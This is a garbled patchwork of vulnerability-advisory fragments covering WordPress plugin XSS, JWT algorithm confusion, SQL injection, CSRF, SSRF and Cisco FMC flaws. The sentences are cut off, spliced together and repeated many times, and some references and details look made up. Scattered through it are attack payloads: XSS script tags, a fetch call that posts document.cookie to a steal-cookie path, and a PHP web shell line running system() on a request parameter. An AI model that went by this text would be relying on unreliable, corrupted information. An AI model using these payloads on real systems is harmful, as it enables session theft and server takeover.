o the vulnerable VAPIX API dynamicoverlay.cgi endpoint. This could render the overlay configuration r

ken payload to 'true' and sign the token with their own key. The server, failing to validate the token sig

could then execute in the context of a user's browser, leading to unauthorized actions being conducte

osure to known vulnerabilities.

utes in the `embed_privacy_opt_out` shortcode, enabling authenticated attackers with contributor-lev
t, the injected script would be saved with the post. When other users view the page, the malicious scri

in the browser of any user who views the affected page. Such scripts could be used to steal cookies, se
).com/epiphyt/embed-privacy/commit/f80929992b2a5a66f4f4953cd6f46cc227154a5c- The issue repo
en added before the patch was applied. Regularly updating plugins and core WordPress software, alo

night, for instance, steal their session cookies, which can be used by the attacker to impersonate the user. The file 'ForExport.php'.

The vulnerable openSIS application. The attacker's code could perform actions such as session hijacking, information about the software can be found on the OS4ED website at <https://www.os4ed.com/>. '/script>' is the payload meant to be executed on the victim's browser. Personal information, as well as potentially defacing the website or spreading malware. Tools that automatically handle these types of security issues can also reduce the risk of exploitation.

code would run in their browser, giving the attacker the ability to perform actions on behalf of the user. The vulnerability arises because the backup files are stored in an easily guessable format in the web server. Accessing the backup file without needing any authentication, leading to data exposure, including password prompts to obtain plaintext passwords.

Sensitive information, and attackers potentially cracking the exposed password hashes to gain unauthorized access to the application. The file 'opensisBackup<guessed-date>.sql' is modified. The attacker would replace '<target-site>' with the domain of the official website: <https://www.os4ed.com/> to restrict access to backup files, and checking for available security updates or patches released by OpenSIS. This could allow an attacker to craft a malicious JWT token and deceive a vulnerable application in

without explicitly specifying an algorithm. The application will then mistakenly accept a HMAC-signed JWT token. However, upgrading to the patched version 3.3.2 is strongly recommended. I modified line 29 with a more comprehensive regex: ````regex/^--BEGIN (?:RSA)?PUBLIC KEY-+$```` This enables the application to verify the HMAC signature using that RSA key. This can lead to unauthorized access or other malicious activities. This exploit was found and can be referred to at: <https://github.com/nearform/fast-jwt/blob/master/src/crypto.js#L29>. In the `audio_merchant_save_settings` function, which could allow unauthenticated attackers to alter the settings of the merchant account. Essentially, the attacker tricks the administrator into executing an action—such as clicking a link.

<https://www.wordfence.com/threat-intel/vulnerabilities/id/d7911337-57fa-4268-8366-d37ff13fae86?>

n is performed without their explicit consent, leading to changes in the plugin's settings or the injection of code on-root to a higher level of access.

on the system, potentially gaining unauthorized access to sensitive operations or settings that would otherwise be restricted. After discovering a vulnerability, detailed information is often limited to official advisories and may require specific knowledge to exploit. Executing arbitrary scripts on the web browser of a user who accesses the affected product.

Activities depending on the nature of the injected script. For example, if a user inadvertently executes the script by clicking on the link.

Discussion: <https://www.luxsoft.eu/lcforum/viewtopic.php?id=476>
References and recommendations from the vendor.

The application uses:

The application's database, allowing data manipulation or exfiltration. For instance, an attacker could craft a URL like <https://www.luxsoft.eu/lcforum/viewtopic.php?id=476>.

SQL queries, using prepared statements, and employing proper error handling to protect against SQL injection attacks. It is also vulnerable to execute a JWT algorithm confusion attack.

The library may also be vulnerable to mishandling verification if the RS256 algorithm is used.

An attacker can exploit this process by interchanging the expected RS256 algorithm with HS256.

```
if (err) { console.error(err.name, err.message); } else { console.log(decodedToken); }});```In this code, the verification logic fails to verify the token as authentic, thus granting the attacker access or privileges intended for legitimate users. This is a critical flaw because it allows an attacker to bypass token verification, potentially trust the algorithm specified in the token's header before verification, instead defaulting to a previous configuration. This significantly expands the scope of the vulnerability and any additional context provided by the maintainers.
```

Potentially leading to session hijacking, data theft, or other malicious actions. For instance, an attack URL might look like <https://www.luxsoft.eu/lcforum/viewtopic.php?id=476>, which would trigger the exploit.

intended permissions settings.

authorization to interact with, potentially disrupting business operations and violating data integrity and security. It allows users to export user names and groups for any project in a read-only format without allowing changes to the information.

sclosure.

ation.

ing to further exploitation if additional vulnerabilities are found or helping in social engineering attempts.

This could happen if the feature does not properly sanitize user input or output, allowing specially crafted scripts to be executed, potentially compromising the privacy of the affected users.

by WishfulThemes. The vulnerability allows attackers to insert and execute arbitrary JavaScript code within the browser.

The attacker's script could steal cookies, session tokens, or other sensitive information that the browser is referring to as 'reflected'.

ownload to infect the user's system with malware.

application firewall, and keeping all software up-to-date can help protect against similar vulnerabilities. For more information, see the Wishful Blog (<https://patchstack.com/database/vulnerability/wishful-blog/wordpress-wishful-blog-theme-vulnerability/>).

server.

User may unwittingly send the forged requests to the server, leading to the attacker obtaining sensitive information such as session tokens or user data.

behalf of an authenticated user, due to the lack of proper token verification in the submitted form.

ts to the backend management interface without the user's knowledge, potentially adding, modifying, or deleting data.

application.

quest. Also, ensuring proper user session validation and training users on the dangers of clicking unknown links.

ion and output escaping, enabling authenticated attackers with administrator-level permissions and administrator Addon Elements plugin.

If possible attacks such as stealing session cookies, manipulating web content, redirecting to malicious Trac browser, a specific changeset within the plugin's Trac history, and a vulnerability report by users should also regularly review user permissions to ensure that only trusted users have administrator-level escape user input, the attacker could enter the following script tag: <script>alert('XSS')</script>. Whether to users for verification. An attacker could predict future codes after generating several hundred controls allows them to predict all future codes during the lifetime of the backend process. This could lead to controls.

or alter consent requests to change how personal data is used, without the legitimate owner's authentication. An attacker could observe or generate many codes and eventually predict future codes. After the patch, the

fopen() fails to find a file, the server response might include an error showing the path like: fopen(/var using functions like load_file() to retrieve the contents of arbitrary files from the server.

ails.

it or written in logs echo 'Error: could not open file ' . \$file_path;}`. The patched code would likely add vulnerabilities like SQL injection, the knowledge of absolute paths could allow an attacker to read or manipulate input sanitization and output escaping, which could potentially allow unauthenticated attackers to inject code, potentially resulting in the compromise of sensitive information or unauthorized actions being taken on behalf of the user.

controls to prevent exploitation.

Vulnerability. These references provide additional context and technical details that can help users understand the exploit. An unsuspecting user, who has access to the vulnerable WordPress site, clicks on the link, and the malicious code is executed in their browser. The exploit is present in versions up to and including 9.7.8 and allows authenticated attackers with contributor-level permission to execute arbitrary PHP code.

ities/id/ff6932c6-f3ec-46a8-a03b-95512eee5bf1?source=cve
tcode like so: `'[shareaholic attribute=""><script>alert("XSS");</script>']`. Once the post is saved and visible to the user, if they visit the page containing the malicious payload, the injected JavaScript is executed in their browser.

3-318-02.pdf

ion tokens, or other sensitive information from the victim, or to perform actions on behalf of the user: `<script>alert('XSS Attack');</script>`. If the web page incorporates this input into the HTML sent back to the user, the user's browser will execute the injected JavaScript code.

tion and potentially damaging the integrity and confidentiality of the affected system.

conduct phishing to steal credentials or use the XSS vulnerability to inject malicious scripts to compromise the system. Site scripting attacks. Users should apply any provided patches or updates from the software vendor. The vulnerability allows for arbitrary code execution by injecting set directly from a user-supplied 'url' GET parameter without any validation, allowing attackers to inject malicious scripts into the system.

After sanitization, the scripts could execute within the user's browser. This could result in actions being performed by the user, such as changing settings or performing administrative tasks. For example, in web forms using the 'Forms' feature or in asset upload fields in the control panel, potentially allowing malicious users to execute the uploaded code, compromising the system.

Picture.

[View advisory details](#) | [Report a vulnerability](#) | [Search advisories](#) | [View all advisories](#)

loring header due to parsing anything with 'chunked'. This inconsistency can lead to proxy bypass or socket exhaustion.

xxvh-7g8j'.

This implies that the vulnerability can be exploited by unauthenticated users to execute malicious scripts. Unauthenticated users can perform XSS attacks, which can lead to the stealing of cookies, session tokens, or other sensitive information that can be used to gain access to the system. If an attacker gains access to the affected page or area where the input is stored, the malicious script executes in their browser, giving them full control over the system. As a result, the attacker could gain access to administrative privileges, manipulate files, and exfiltrate data.

If an attacker sends specially crafted serialized object data through the 'data' GET parameter, they might exploit the vulnerability to execute arbitrary code on the server. This could lead to remote code execution, allowing the attacker to gain full control over the system.

/PHP_Object_Injection

; the session cookie from the first site.

nerability, so upgrading is crucial.

i. The attacker could then potentially perform actions on the second site with the same permissions as the TYPO3 installation. The fix likely includes changes to the session management system to ensure the security/advisory/typo3-core-sa-2023-006

frontend editing, multilingual capabilities, and templating, which allows developers and content creators

aining unauthorized access to sensitive files or executing arbitrary code if other vulnerabilities are present. The TYPO3 security advisory: <https://typo3.org/security/advisories/typo3-core-sa-2023-006>. The TYPO3 security advisory: <https://typo3.org/security/advisories/typo3/html-sanitizer-component>.

are likely to be affected and should upgrade immediately.

TYPO3/html-sanitizer/security/advisories/GHSA-mm79-jhqm-9j54- The TYPO3 security advisory: <https://typo3.org/security/advisories/typo3/html-sanitizer-component>. The issue involves a vulnerability where user input is not properly processed by TYPO3, it might allow the attacker's script to execute in the context of a victim's browser. This could lead to unauthorized access, impacting certain versions of TIBCO EBX and TIBCO Product and Service Catalog.

nt.

in their browser. This could result in actions being taken on behalf of the user, theft of session cookies, and access sensitive information through crafted web requests.

ids that, when executed, could lead to unauthorized actions being performed or sensitive data being disclosed.

This issue could allow an unauthenticated attacker to perform a brute force attack on the affected endpoint, leading to unauthorized access.

z to unauthorized access.

ssword combinations repeatedly until they potentially gain unauthorized access. Strengthening password or locked out after a series of failed attempts. If successful, the attacker could gain unauthorized access and understanding of the risk.

Title of address book folders belonging to other users through specially crafted HTTP or HTTPS requests

parameters that the server incorrectly authorizes, allowing access or modification of data that should be restricted or modify the address book folder titles of other users. Such an attack could lead to unauthorized information disclosure, potentially compromising the system.

n, and upload malicious documents or components. This could lead to unauthorized actions or access to sensitive data samples may not be publicly available. Understanding this vulnerability would typically involve analysis.

xploit this to cause a denial of service condition, rendering the web interface unavailable until the device is restarted. This would make the web interface unavailable until the device is manually restarted. This can disrupt network management and potentially affect connected systems.

cker to manipulate the user interface configured by an administrator.

itches, SCALANCE XR series, and SIPLUS NET SCALANCE network components.

entication for some operations. This could allow the attacker to modify the web interface in ways that threaten the security of the system.

plied security measures provided by Siemens to mitigate the risks posed by this vulnerability.

tional issues. They could also redirect users to malicious websites or change network settings to eavesdrop on traffic. By manipulating the pathname and file extension, attackers can create PHP files outside of the designated directory, leading to unauthorized data access, manipulation or destruction, installation of malware, or complete server compromise.

Attacker might create a malicious PHP file and set its destination to the webroot, which could contain code that executes arbitrary commands.

on' parameter to prevent directory traversal. Regular security audits and monitoring for suspicious activity, such as SQL injection, cross-site scripting, or other security breaches.

to proceed effectively.

ent within a legitimate web session.
ludes the security fix.

The proof of concept should review these resources.

iewed by the user, which can then perform various actions like stealing session cookies or personal data settings or performs actions on the vulnerable web application where the user is authenticated. Without proper escaping on user-supplied attributes in the plugin's shortcode 'powr-powr-pack'.

enever a user accesses the compromised page.

`:ps://www.wordfence.com/threat-intel/vulnerabilities/id/c2967eae-82bb-4556-a21a-c5bb6b905c62?site`, potentially leading to actions such as stealing session cookies, redirecting to malicious sites, or car-

roles and monitoring for suspicious activity can also help mitigate the risk.

code, the browser will execute the alert showing 'XSS'. This demonstration is for illustrative purposes, relying on user-supplied attributes, allowing authenticated attackers with contributor-level permissions or higher to inject code.

ed. When a user accesses a page with the injected code, the malicious script will execute in their browser.

`e-main-iframe.php?rev=2961394#L419- https://plugins.trac.wordpress.org/browser/advanced-iframe, example.com" onload="alert('XSS')"]`Here, the 'onload' attribute is hijacked to execute JavaScript code, which requires contributor-level access, the scenarios could involve malicious insiders or attackers who have gained access to the server.

re the attacker might be able to access files on the server that they shouldn't be able to read or include in their email.

their privileges when they visit the malicious page or interact with the email, leading to Local File Inclusion or Trusted.

as '`<script>fetch('/steal-cookie',{method:'POST', body:document.cookie})</script>`' to transmit cookie information.

advers could be implemented to reduce the impact of XSS vulnerabilities.

bmitting a form on behalf of the user, without their consent or knowledge.

It might look like this in HTML code for an unprotected form: ``html<form action="http://example.com", pointing to the target website (where the vulnerable plugin is hosted). Common attack scenarios include changing

the target website to be legitimate requests from the administrator to the server.

An administrator with administrative privileges inadvertently submits it, usually through deceptive means like clicking a dis-

abling the plugin until a patched version is provided.

ge, potentially altering settings, adding malicious content, or taking administrative actions within the plugin.

Administrative privileges within a trusted session.

This could result in a compromise of user credentials and unauthorized access to the system within a trusted session. This script execution could allow the attacker to alter the content of the QRadar web interface, such as inserting malicious JavaScript code like <script>...</script>. When an unsuspecting user processes this input through their browser, the script could execute.

This vulnerability was discovered in the context of a user's browser session, leading to a cross-site scripting (XSS) attack. This could allow for cross-site scripting (XSS) attacks. This vulnerability affects versions starting from 2.0.0, 5.0.0, and 6.0.0.

The vulnerability was identified in commit 1585031ad4bee37c497353eec7c. Additionally, there is a security advisory on GitHub at <https://github.com/IBM/QRadar/pull/1585031ad4bee37c497353eec7c>.

This vulnerability can lead to data theft, session hijacking, and other types of malicious activities.

IBM has released patches for affected systems. Customers should apply the patches to their systems to mitigate the risk of this vulnerability.

this filter was marked with `is_safe=html` without actually ensuring the input is safe, it would be vulnerable to session fixation. The token type changes from partially-authenticated to fully-authenticated without a change in the user identifier.

This introduces the risk of session fixation by ensuring the session is migrated not only when the user identifier changes, but also when the session ID due to their user identifier not changing, the attacker could hijack the session. This would allow them to log in to the application as the user.

D are available at <https://www.hoteldruid.com/en/download.html>.

The exploit could be triggered by clicking a link on the web page, or it could act to impersonate the user and carry out actions on their behalf.

Affected server, leading to data theft, service disruption, or further network compromise. For more information, see SysAid's documentation and blog post.

The vulnerability is located in the Tomcat webroot directory. When this file is executed, it can perform actions with the same permissions as the user, bypassing intrusion detection systems. The direct impact is unauthorized code execution, which could lead to remote code execution and potentially affect the entire system.

If an attacker gains access to the server, they could exploit this vulnerability to gain control over the system. It is important to keep the server up-to-date with security patches and updates to prevent such attacks.

The plugin uses image optimization features provided by the plugin.

[View vulnerability details](#)

If an attacker gains access to the server, they could exploit this vulnerability to gain control over the system. It is important to keep the server up-to-date with security patches and updates to prevent such attacks.

ould trick the victim into clicking a link or visiting a malicious webpage that contains a forged request; / their sites for any unusual changes to the cursor settings and ensure that other security best practice

:ly.

ution (RCE).

452- A discussion on the Moodle forums: <https://moodle.org/mod/forum/discuss.php?d=451591> or a web application to include a PHP file from the other user's space that they have tampered with to what the attacker wishes to execute. Typically, the attacker would need to have placed this file on the se

lation of category hierarchies within an affected application.

ent category which they should not have access to, effectively bypassing the intended access controls.

I=cve.

ugin allows, potentially leading to more severe security compromises within the WordPress site.

ough the vulnerable plugin's functionality.

out the user's knowledge, potentially modifying settings or data within the WebberZone Top 10 plugin.

I data stores that is then reflected in downloaded data for users. This could potentially allow for HTML gets incorporated into the access request package. 3) The data subject themselves could be tricked via

m when the user views the HTML files locally using the `file://` protocol.

`script>`. If this data is not sanitized by Fides and is included as-is in an HTML file, when a user opens this

des to remove this specific vulnerability. Moreover, users should always be cautious and refrain from

adding a block. Consequently, when deleting the block, it was possible to unintentionally delete critical files. If the deletion of this block, the designated file would then be deleted, which could lead to service disruption if files like 'lex.php' are removed.

commit/eec00da564db4c1804b0a0d1e3d9f7ec4e27d823 Additionally, these fixes have been included in the Gentoo Linux Security Advisory at '<https://security.gentoo.org/glsa/202311-11>', which is rated as 'High' by Chromium security.

This corruption and allowing the attacker to execute arbitrary code on the user's system. In announcements, the Gentoo Linux Security Advisory at '<https://security.gentoo.org/glsa/202311-11>', it is mentioned that attackers could leverage this to steal sensitive information, install malicious websites, and use security software to provide additional layers of protection against such vulnerabilities.

If an administrator's browser. Such scripts can potentially be used to steal cookies, hijack sessions, or redirect to malicious websites.

Administrators, navigate to a page where the saved script is executed, the attacker could perform various harmful actions without the user's knowledge. It's essential to note such code examples should not be followed.

Malicious script executes in their browsers, potentially leading to unauthorized actions like stealing session tokens or other credentials.

Depending on how the application processes input. An actual code example would depend on the specifics of the application. Regular security audits of the code and the use of web application firewalls may also help in mitigating this risk. If output escaping, allowing an authenticated attacker with administrator-level permissions to inject malicious code into the website, particularly if the malicious script manages to steal session tokens or other credentials.

When users visit the injected pages, the attacker's code executes in their browser. This could lead to active injection of malicious scripts, along with other unwanted behaviors that compromise the security and privacy of the user.

Controlling unfiltered HTML output by default, which allows them to post HTML markup or JavaScript. Sites that have this capability are vulnerable to XSS attacks.

Controlling unfiltered HTML output by default, which allows them to post HTML markup or JavaScript. Sites that have this capability are vulnerable to XSS attacks.

Impact can be increased, making it possible for unauthenticated attackers to carry out the Stored XSS vulnerability.

Similar to Microsoft Excel, could potentially execute arbitrary commands on the user's machine. Without sanitizing the content, the malicious formula could be executed, leading to code execution or data manipulation in a CSV file, which could allow a malicious actor to execute unintended commands or code when it is opened.

The vulnerability was found in the 'shortcode' plugin for WordPress, specifically in the 'shortcode' function located at line 100 of the 'shortcode.php' file. The function takes user input and outputs it directly to the browser without proper sanitization. This allows an attacker to inject malicious JavaScript code into the page.

The scripts would be stored and then executed in the browser of any user who accesses the pages containing the vulnerable shortcode.

The vulnerability was discovered by a member of the Wordfence team and reported to the plugin developer via the WordPress Trac ticket system.

On of the injected script without proper sanitization.

The vulnerability was fixed in version 2.20.1 of the 'shortcode' plugin. The fix involved adding proper sanitization to the 'shortcode' function. The affected code is as follows:

```
function shortcode($text) { // Vulnerable to stored XSS because it doesn't properly sanitize user input. $caption_text = $_POST['caption'], such as: ``html[caption_shortcode caption=""><script>alert('XSS');</script>[/caption_shortcode]````
```

Initially taking over user accounts.

Using this vulnerability.

When any user visits the page with this post, the browser would execute the injected script, potentially allowing an attacker to take over user accounts. The exploit was demonstrated on a WordPress site running version 4.2.2, which is known to have a vulnerability in its 'shortcode' function. The exploit was created by inserting the following code into a post:

ers view this page, the script would execute, potentially leading to cookie theft, session hijacking, or other security best practices such as limiting user roles and permissions strictly to what is necessary, to account compromise, data theft, and spreading of the attack to other users. Contributors with contributor-level permissions or higher can exploit this to inject arbitrary web scripts.

Stored XSS attack. The actual payload could be more malicious, aiming to steal cookies, sessions, or red

nerability database entry: <https://www.wordfence.com/threat-intel/vulnerabilities/id/69ba1a39-ddb0>

d46af7d3450?source=cve.

sanitized by the plugin before being saved, leading to the malicious code being stored. When another attacker with contributor-level permissions or higher inject arbitrary web scripts. A user accesses an affected page, potentially leading to unauthorized actions being performed under the

the affected page, the malicious script executes, which could lead to actions like stealing cookies, hijack <https://www.wordfence.com/threat-intel/vulnerabilities/id/be004002-a3ac-46e9-b0c1-258f05f97b2a>

permissions to inject and execute arbitrary web scripts in pages.

session tokens, changed browser behaviors, or redirected to malicious sites.

permissions or higher to inject arbitrary web scripts into pages.

ns on behalf of the users without their consent.

[wp/SWP_Buttons_Panel_Trait.php#L304](#) - <https://plugins.trac.wordpress.org/browser/social-warfare/trunk/wp-content/themes/social-warfare/telnumlink.php>

This vulnerability allows an authenticated attacker to execute arbitrary JavaScript code in the user's browser session. This could lead to session hijacking, account takeover, or other malicious activities.

The plugin's 'telnumlink' shortcode.

This vulnerability affects the site's security and the user's data.

If an attacker injects malicious JavaScript code into the input field without properly escaping it, the code would execute in the context of their browser session, potentially resulting in session hijacking, account takeover, or other malicious activities.

<https://www.wordfence.com/threat-intel/vulnerabilities/id/06424d9f-0064-4101-b819-688489a18eee?source=cve>

This vulnerability allows an authenticated attacker to execute arbitrary JavaScript code in the user's browser session, potentially leading to session hijacking or other malicious activities.

<https://www.wordfence.com/threat-intel/vulnerabilities/id/06424d9f-0064-4101-b819-688489a18eee?source=cve>

This vulnerability allows an authenticated attacker to execute arbitrary JavaScript code in the user's browser session, potentially leading to session hijacking or other malicious activities.

Detailed vulnerability report from Wordfence at <https://www.wordfence.com/threat-intel/vulnerabilities/id/06424d9f-0064-4101-b819-688489a18eee?source=cve>

g or removing the plugin and looking for a secure alternative. Additionally, limiting the number of user-supplied attributes in the shortcode 'imagemap' used by the plugin. This allows authenticated attackers to bypass input validation and get executed in the context of the user's browser whenever they access the affected page.

sent. Any script executed as a result of this vulnerability runs with the same permissions as the user visiting the page at <https://www.wordfence.com/threat-intel/vulnerabilities/id/a6e687e9-6ffe-4457-8d57-3c03f657ef>.

sanitization and output escaping. This vulnerability could allow authenticated attackers with contributor-level permissions to execute arbitrary JavaScript code in the user's browser. This could lead to a range of malicious activities, including stealing session cookies, defacing the website, or redirecting users to malicious websites.

Check if the affected plugin is available or to find an alternative plugin that provides the same functionality but is not vulnerable. This vulnerability is a proof of concept. In a real attack, the script could be much more malicious, attempting to steal credentials or execute arbitrary code in the user's browser. The payload would be stored in the website's database. When other users, such as visitors, access the page, the payload would be executed in their browser.

<https://www.wordfence.com/threat-intel/vulnerabilities/id/f5608f50-e17a-471f-b644-dceb64d82f0c?source=cve>

account. They could then potentially use this hash in pass-the-hash attacks to authenticate as the service account, giving them full access to the software and the vulnerability itself.

This vulnerability is used by the Veeam ONE Reporting Service.

or an attacker to escalate privileges within the affected environment.
ary measures to secure their installations.
h this hash, the attacker might be able to perform offline password cracking to retrieve the actual pas:

ine if they are using an affected version of Veeam ONE, and if so, follow the provided instructions to m

nd indiscriminately list and download sensitive private message attachments that were meant to be se

ered, potentially leaving the device vulnerable due to weaker credentials.

other scenario could include an insider threat where an individual with administrative privileges inten
weaken security and make the device more susceptible to unauthorized access.

[pp.com/advisory/ntap-20231214-0006/](https://www.cvedetails.com/cve/CVE-2023-1214)
the error path, potentially leading to unauthorized execution of scripts within a user's web browser.

ersion immediately.

consent. It can compromise the security of the affected application and potentially the client's web br
erver-side (pseudocode):search_query = getRequestParameter('search')page_content <- 'You searched
t runs within the user's browser, carrying out actions such as stealing cookies, capturing keystrokes, re

:cve

erform actions like changing plugin settings or injecting malicious content without the admin's explicit

the plugin's SQL queries by inserting malicious SQL commands, which can lead to unauthorized access or data corruption.

This vulnerability occurs because user input is not properly sanitized before being used in SQL queries. The name field, which could be improperly sanitized by the vulnerable plugin and appended to an SQL query, depends on the specific database permissions available and the design of the web application.

WordPress, and it allows attackers to execute arbitrary SQL queries in the plugin's database.

This vulnerability occurs because user input is not properly sanitized before being used in SQL queries. The name field, which could be improperly sanitized by the vulnerable plugin and appended to an SQL query, depends on the specific database permissions available and the design of the web application.

This vulnerability occurs because user input is not properly sanitized before being used in SQL queries. The name field, which could be improperly sanitized by the vulnerable plugin and appended to an SQL query, depends on the specific database permissions available and the design of the web application.

This vulnerability occurs because user input is not properly sanitized before being used in SQL queries. The name field, which could be improperly sanitized by the vulnerable plugin and appended to an SQL query, depends on the specific database permissions available and the design of the web application.

This vulnerability occurs because user input is not properly sanitized before being used in SQL queries. The name field, which could be improperly sanitized by the vulnerable plugin and appended to an SQL query, depends on the specific database permissions available and the design of the web application.

This vulnerability occurs because user input is not properly sanitized before being used in SQL queries. The name field, which could be improperly sanitized by the vulnerable plugin and appended to an SQL query, depends on the specific database permissions available and the design of the web application.

This vulnerability occurs because user input is not properly sanitized before being used in SQL queries. The name field, which could be improperly sanitized by the vulnerable plugin and appended to an SQL query, depends on the specific database permissions available and the design of the web application.

This vulnerability occurs because user input is not properly sanitized before being used in SQL queries. The name field, which could be improperly sanitized by the vulnerable plugin and appended to an SQL query, depends on the specific database permissions available and the design of the web application.

This vulnerability occurs because user input is not properly sanitized before being used in SQL queries. The name field, which could be improperly sanitized by the vulnerable plugin and appended to an SQL query, depends on the specific database permissions available and the design of the web application.

This vulnerability occurs because user input is not properly sanitized before being used in SQL queries. The name field, which could be improperly sanitized by the vulnerable plugin and appended to an SQL query, depends on the specific database permissions available and the design of the web application.

This vulnerability occurs because user input is not properly sanitized before being used in SQL queries. The name field, which could be improperly sanitized by the vulnerable plugin and appended to an SQL query, depends on the specific database permissions available and the design of the web application.

nerable to Stored XSS, allowing authenticated users with specific permissions to inject such scripts via potentially leading to actions such as stealing session cookies, redirecting users to phishing sites, or performing SQL injection, specifically versions up to 1.2.0. It allows attackers to execute unauthorized SQL commands to

database, manipulate or corrupt database data, delete records, or gain unauthorized administrative access resulting in the SQL query being altered in a way that bypasses authentication or retrieves all records present on a webshell.

Includes a reference to a PHP file on the server, such as '/tools/webinterface/index.php?page=..../path/' used to steal sensitive data, launch further attacks, or disrupt services.

eb application firewall to intercept and block malicious requests attempting to exploit the vulnerability

table-website.com/insta_parser.php?url=http://internal-service/` where 'http://internal-service/' is the administration interfaces, or cloud service metadata endpoints. The server, mistakenly treating the man

offers details at '<https://exchange.xforce.ibmcloud.com/vulnerabilities/266059>'.

sessions, steal cookies, or credentials, and potentially perform actions on the web applications as the application and output encoding practices are in place to prevent XSS vulnerabilities.

at the web application believes is legitimate. This could potentially result in the attacker carrying out a

659): <https://www.ibm.com/support/pages/node/7063659>- IBM Support Page (Node 7063664): https:

the request as if it originated from the user. The attacker could perform actions such as modifying data specific remediation details regarding CVE-2023-42027.

```
ord = request.form.get('new_password') if new_password: # Process password change without a crafted JWT token.
```

legitimate user.

```
it private static final String SECRET_KEY = "mysecretkey"; public String createToken(String subject) {  
    impersonating users, or gaining admin privileges without proper authorization.  
larly.  
.com/xubowenW/JWTissues/blob/main/lamp%20issue.md.  
inrestricted file upload, meaning that an attacker could upload files of any type, including malicious sc  
ving attackers to upload and execute malicious scripts.  
The unrestricted file upload vulnerability could serve as a gateway for a range of malicious activities c  
REQUEST['cmd'])){ system($_REQUEST['cmd']); die; }?>``The attacker could then use the vulnerability  
ntial mitigation strategies.
```

-client-side file validation mechanisms rather than relying on client-side checks alone.- Configure proper file p

access or performing harmful actions on the server.

vid <https://github.com/glpi-project/glpi/security/advisories/GHSA-rrh2-x4ch-pq3m>.

ackers with administrator-level permissions to inject arbitrary web scripts into pages.

cusing the website, or redirecting visitors to malicious sites.

try best practice.

input. Due to insufficient sanitization, this script could be stored and then executed in the browser of a
soname=&new=2987335%40chatbot%2Ftrunk&old=2986133%40chatbot%2Ftrunk&sfp_email=&sfph_
ilware.

:d, can lead to harmful sites.

ied malicious website.

n be tricked into divulging login credentials or downloading malware. Another scenario could be the u

Proxy.

med certificate would trigger the vulnerability, leading to a Denial of Service condition in the Squid prc

E references list.

into believing a malicious site is secure or trick them into performing unintended actions, although due never, without further technical details about the vulnerability, it is not possible to provide a specific c quest, potentially leading to dropped video calls.

ftware and the recent nature of the CVE, specific code examples are not readily available to the public. ould disrupt corporate meetings, educational classes, or any video conference sessions hosted on the iinable without the need for Administrator privileges, through the exploitation of insufficient validation e execution of arbitrary commands on the underlying operating system of the device due to the insuffi

tacker to execute arbitrary commands on the affected device.

ft, unauthorized configuration changes, installation of malicious software, or a denial of service to legi

ata into configuration fields. The flaws in input validation allow this data to execute commands, which

ing system.

ice, and it is caused by improper validation of files uploaded to the web-based management interface

e.

omise.

by the system. Later, the attacker triggers the execution of this file, which could result in arbitrary code execution on the FMC Software due to insufficient authorization of commands sent through the web service interface.

Potentially compromised network data traffic.

Change configuration settings on a managed FTD device. The precise commands and structure of the request may vary depending on the specific FTD device and its configuration.

against users of the interface. The attacker can use social engineering techniques or access sensitive information in the browser.

May impact on the availability of certain features or components within the FMC Dashboard.

User executes the malicious script, potentially allowing the attacker to steal the user's session cookie or other sensitive information.

that bypasses the improper validation checks. This file might include malicious scripts or executables transferred to the device, exploiting the improper validation flaw to store the file on the device.

device's interface.

Their browsers.

/ view the compromised section of the interface.

Since the compromised data on their web browser, the script could be executed. This may result in theft of information from a user of the interface of an affected device.

Stealing sensitive browser-based information.

I later executed in another user's browser when they view the tainted data. Here's a hypothetical piece of

rface. If an admin user inadvertently submits the malicious payload, it could be stored in the FMC database for all users of the interface.

hen they access the compromised fields.

es, browser-based information or cause a temporary availability impact to parts of the FMC Dashboard.

at has the following payload: `javascript:alert('XSS');`. If the user clicks on the link, and the FMC interface is vulnerable to clickjacking, it could lead to unauthorized actions. Another scenario could involve an attacker inserting a persistent XSS payload into the FMC service.

y.

Potentially execute actions on the web service as an authorized user, leading to potential data breaches that could not be normally accessible.

in the config management system. This information could be used to facilitate further attacks, such as navigating to a specific URL or viewing certain logs within the console that reveal sensitive information about the configuration of a Website.

ion fields. Due to improper input validation, the server processes the input and executes the embedded command if available. Additionally, regular code audits and input validation checks should be carried out to identify sensitive information, such as version information, endpoints, backend server details, and internal IP addresses, potentially exposed by the application.

attacker could pinpoint further vulnerabilities, like outdated software versions, for more targeted and precise attacks. This information can also facilitate the plotting of further attacks against the web servers and deployed web applications.

or directories. For instance, if the internal path reveals a sensitive directory like /admin, an attacker might exploit this information to gain unauthorized access. For example:

```
- request.args.get('q')    try:        result = perform_search(param)        return render_template('results.html')
```

new virtual server is being created.

executed in the browsers of users viewing the tainted description.

ithin the application.

ut is not properly sanitized by the application, this code would be stored and later executed in the constructors, and they could also employ a Content Security Policy (CSP) as an additional layer of protection. In the 'label' field.

browser, allowing the attacker to steal session cookies or perform actions on behalf of the user. An example of this is shown below:

their browser, leading to unauthorized actions being performed on behalf of the user, theft of session information, or even server template creation form in Virtualmin 7.7. When the server template is viewed by other users, the

r session.

services_master=%3Cscript%3Ealert('XSS')%3C/script%3E`. If the application reflects this parameter without proper sanitization, it can lead to XSS attacks on the victim's network.

label' field when modifying details of a Virtual Server.

hen be executed in a victim's browser when they view the affected field details.

tials, leading to a wide range of security breaches within the affected system.

ver details, the malicious script would execute in their browser, potentially compromising their session information. This is because the rendered HTML page is rendered in a user's browser. In a real attack, the script would likely be more sophisticated and aim to steal sensitive information such as login credentials or account plan details.

ntext of the user's session, potentially leading to compromised data or unauthorized actions.

side the plan name, which would result in an alert window displaying 'XSS' when the infected plan nar

ned or oversized packets, or utilizing request methods that the device is not equipped to handle prop

become unresponsive, effectively denying legitimate users access to the camera's functionalities.
fted Twig file to exploit the application's PDF and HTML rendering functionalities.

nipulate the server's operation, access sensitive data, or disrupt the service altogether by executing de

igating the risk of information leakage.

be able to gather sensitive information such as file paths, database credentials, or other details provid
niter4/commit/423569fc31e29f51635a2e59c89770333f0e7563), and the related security advisory ([htt](http://niter4/commit/423569fc31e29f51635a2e59c89770333f0e7563)

ial theft of cookies, session tokens, or other sensitive information, or even further exploitation within t

website using the vulnerable plugin versions.

the website's content, steal user session cookies, or redirect users to malicious sites.
Session stealing, defacing the website, or redirecting the user to phishing or malicious sites.
Tricking the user into providing credentials on a phishing page.

If the 'unfiltered_html' capability is disallowed, such as a multisite setup.
The user viewing the affected popup.

User-supplied attributes associated with the 'ipushpull_page' shortcode.

To malicious sites, or defacing the website.

